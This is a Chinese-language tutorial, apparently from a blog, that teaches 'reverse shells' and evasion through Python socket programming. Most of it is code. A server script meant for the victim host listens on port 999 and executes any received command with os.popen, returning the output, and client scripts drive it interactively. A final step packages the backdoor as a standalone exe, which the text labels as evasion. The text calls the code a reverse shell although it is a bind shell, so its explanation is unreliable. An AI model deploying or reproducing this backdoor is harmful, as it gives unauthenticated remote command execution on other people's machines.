Python渗透测试:反弹Shell及程序免杀技巧

什么叫 反弹 shell

反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。


目录:

什么叫 反弹 shell

反弹 shell 的工作原理如下:

反弹 shell 编写:

(1)基本知识:

客户端(后执行):

服务端(先运行服务端):

(2)执行命令,发送和接收命令.

客户端(后执行):

服务端(先运行服务端):

(3)实战 执行命令,发送和接收命令.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

服务端(把这个程序 拿到服务端执行):

客户端(后执行):


基础知识:

Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)


反弹 shell 的工作原理如下:

(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.

(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.

(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.

反弹 shell 编写:

(1)基本知识:

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode())               # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                 # 建立 socket
s.bind(("0.0.0.0",999))           # 绑定 当前地址
s.listen(5)                       # 监听:最多 5 个终端
sss,add=s.accept()                # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()      # 接收数据, .decode 解码比特流数据.
print(data)                       # 接收数据,然后打印出来.


(2)执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(先运行服务端):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(3)实战 执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("172.16.10.19",999))     # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
while True:                         # 写个循环,让他为真(他就可以一直执行命令和返回命令)
    sss,addr=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
    while True:                         # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )
        data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
        s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
        sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码

s.close()                           #  # 不为真的就关闭.(不执行就关闭)

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

1.py 就是服务端代码:

pip install pyinstaller            // 下载 pyinstaller 

pyinstaller -F 1.py                // 1.py是要打包的exe文件,

!!!记得打包成功后 exe 文件在当前目录的 dist 下.

 

服务端(把这个程序 拿到服务端执行):


客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)

   

   

  

学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili

作者:半个西瓜.

物联沃分享整理
物联沃-IOTWORD物联网 » Python渗透测试:反弹Shell及程序免杀技巧

发表评论